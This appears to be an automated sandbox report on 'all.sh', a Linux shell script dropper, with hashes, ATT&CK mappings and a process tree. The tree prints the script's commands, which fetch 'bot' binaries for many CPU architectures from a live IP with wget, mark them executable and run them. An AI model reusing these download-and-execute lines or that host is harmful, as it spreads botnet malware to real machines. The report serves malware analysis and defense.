289a65cd34035c522e456140bca2c5fdf6ad0d1afabc446dcda7fa528dd97b09

Analysis

max time kernel
1s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260126-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
29/04/2026, 06:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
all.sh
Size 3KB
Sample260429-hebb5sc16j
SHA256 289a65cd34035c522e456140bca2c5fdf6ad0d1afabc446dcda7fa528dd97b09
MD5 72cce5f54f04dc9a49d1c977a5c69d01
SHA1 aab324c7901cba601be0dc78df21b6d03b052caa
SHA512 884fb73eb41fa207fd0c5a6e836b4114abf43edbb7cd69922b97b4d6e03ce835d337d0dea3999f80e94ea03166dd9b1f66f2e05813ee84bcd596d9f1e728c89c
TLSH
T1677194DC012133B7ED29AB1F7B54CB25298481D22E90CFBD6D49DE244B847A73B4B6C0
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1577	chmod
1586	chmod
1563	chmod
1564	chmod
1567	chmod
1569	chmod
1574	chmod
1583	chmod
1584	chmod
1585	chmod
1570	chmod
1573	chmod
1575	chmod
1576	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/bot	1565	all.sh
/tmp/bot	1566	all.sh
/tmp/bot	1568	all.sh
/tmp/bot	1571	all.sh
/tmp/bot	1572	all.sh
/tmp/bot	1578	all.sh
/tmp/bot	1579	all.sh
/tmp/bot	1580	all.sh
/tmp/bot	1581	all.sh
/tmp/bot	1582	all.sh
/tmp/bot	1587	all.sh
/tmp/bot	1588	all.sh
/tmp/bot	1589	all.sh
/tmp/bot	1591	all.sh

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1548	wget

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget

/tmp/all.sh
/tmp/all.sh
1⤵
- Executes dropped EXE
PID:1531
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.i686 -O bot
  2⤵
  - Writes file to tmp directory
  PID:1546
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.x86 -O bot
  2⤵
  - Writes file to tmp directory
  PID:1547
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm5 -O bot
  2⤵
  - Writes file to tmp directory
  PID:1551
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.ppc -O bot
  2⤵
  - Writes file to tmp directory
  PID:1552
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm7 -O bot
  2⤵
  - Writes file to tmp directory
  PID:1553
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.x86_64 -O bot
  2⤵
  - Writes file to tmp directory
  PID:1554
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm6 -O bot
  2⤵
  - Writes file to tmp directory
  PID:1555
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.mips -O bot
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1548
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.spc -O bot
  2⤵
  - Writes file to tmp directory
  PID:1556
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.mpsl -O bot
  2⤵
  - Writes file to tmp directory
  PID:1549
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arm -O bot
  2⤵
  - Writes file to tmp directory
  PID:1550
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.m68k -O bot
  2⤵
  - Writes file to tmp directory
  PID:1557
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.sh4 -O bot
  2⤵
  - Writes file to tmp directory
  PID:1558
- /usr/bin/wget
  wget -q http://87.121.79.160/bins/KKveTTgaAAsecNNaaaa.arc -O bot
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1564
- /tmp/bot
  ./bot
  2⤵
  PID:1565
- /tmp/bot
  ./bot
  2⤵
  PID:1566
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/bot
  ./bot
  2⤵
  PID:1568
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1569
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/bot
  ./bot
  2⤵
  PID:1571
- /tmp/bot
  ./bot
  2⤵
  PID:1572
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1573
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1576
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1577
- /tmp/bot
  ./bot
  2⤵
  PID:1578
- /tmp/bot
  ./bot
  2⤵
  PID:1580
- /tmp/bot
  ./bot
  2⤵
  PID:1579
- /tmp/bot
  ./bot
  2⤵
  PID:1581
- /tmp/bot
  ./bot
  2⤵
  PID:1582
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1583
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1585
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /tmp/bot
  ./bot
  2⤵
  PID:1587
- /tmp/bot
  ./bot
  2⤵
  PID:1588
- /tmp/bot
  ./bot
  2⤵
  PID:1589
- /tmp/bot
  ./bot
  2⤵
  PID:1591

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /tmp/bot
Size 126KB
SHA256 fe87fb5c25fa503dea9dcfe1be17fd9fcf17217660a9517e794139e11d7252c5
MD5 65fb64dfefe3a0c8ac1acf7fe6c80b74
SHA1 f49f3d5bebda2d5545ee6e5a202b55e63fa587ab
SHA512 ff93e09be20fad07d20552c968d7d9a29d28c318cdcc0feab6d00a1d3e3b797f1846492de763f37d7f12fb3ad9c1cfa1b741045385854f82b5ac78a04c4a22ce
SSDEEP 3072:HMgc5dtnIKDPox4upGs940WuxTERVAz5srVPXH1D5Pw0TNcz9+jBE:X+Iiox4u55WupWAloVPFD5PrTg9uE
TLSH
T1B3C3BF01F8543BBCC8C67C73D2AE8574B7275C89527B4243B337CDA20E968AE2E5E561
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 135KB
SHA256 86d0b9c6be7e89a9ffd8a4c80554b887ddee1c5e56105779eac44e230d51c6c2
MD5 0d4282760d62be77d02225c2428c8a54
SHA1 306b2eb412bfb5090bf14466df5ac7a9c0bb6de3
SHA512 da7c0533c0f50b5fa73c713ca48b85f4c41fe86444c8248f4d50847633ea0807b87378a76a42566584f3d6841a0a6f322573756e6f8ea2eb85b93fd6a350d195
SSDEEP 3072:HMgc5dtnIKDPox4upGs940WuxTERVAz5srVzYXH1D5Pw0TNcz9+jBELCF1dQ:X+Iiox4u55WupWAloVzYFD5PrTg9uELF
TLSH
T170D3B001F8547ABCC9C77872D2AE8274B7276C85527B4243B736CEA30F928AE2D5F550
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 158KB
SHA256 7fbbfe8bf348a111aced5b8afa04147f68d8d941b6a97068ac4e907502e2b071
MD5 252227cc1940fa42008e8573c481612b
SHA1 bdd24f33c963c2702a43072f2a44befe3295ee49
SHA512 474e92b9c47491ba48d9943ac12fddba34e6c841ddb0dfdbc2ba6e336fd0772fe281972bda623ad7c7352ccb039d36e1326b7fac0db700c6c8a29af89f23e8bb
SSDEEP 3072:HMgc5dtnIKDPox4upGs940WuxTERVAz5srVzYXH1De/QGTNcz9+jBELCF1dyhR6Y:X+Iiox4u55WupWAloVzYFDZGTg9uELCI
TLSH
T12CF3C101F8142FBCC88778B2D26E4274B7275C8542B75347633ACEA31FA697E2A5F650
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 190KB
SHA256 e761ae38fdff391766c1720ad8405442bc6ca14e529696ad21069dadbb6c5642
MD5 17654d581e3632a0a99047964bbb42f5
SHA1 ee877cebc1880aadac035d9055eb28011904b4f5
SHA512 830a5c062638493dac1fe8b970bb33a5fc6ffeb6c5318abefa21e2295f546613b76b0cf94316752f72c5906081e3a1f1e64731fc733f24325b9160dd5090aa98
SSDEEP 3072:HMgc5dtnIKDPox4upGs940WuxTERVAz5srVzYXH15Pik/QGTNcz9+jBELCF1dyhU:X+Iiox4u55WupWAloVzYF5PWGTg9uELY
TLSH
T1A814C001F8445FADC587B8B192BF8274B7231C8502B75247633ECE623F6567E2A9FA50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot

Path /tmp/bot
Size 904KB
SHA256 b3a49edd970079501732ba131ce866eb885d203213b462c7411c28785ed2802e
MD5 a408bc68b29861b982b944466a9a614f
SHA1 d7ed95f8b407d65097e841301c9df420861dcd6a
SHA512 fd102ea45458348e945259fd69e001dae02dd491c42db5f65262da4a847da11c918fa5d3b454b7030e2e2726f9463da3e25a10d6a85e7579337c3fbb897422d3
SSDEEP 24576:2JY3FzdqYPoJVoFtiAfDExxekyBVJdb5:VBXdf1CyV
TLSH
T18115AF9237F36479C041CB318AB3D322E636B49C4292271BB74CCE791F52B644F5AB66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads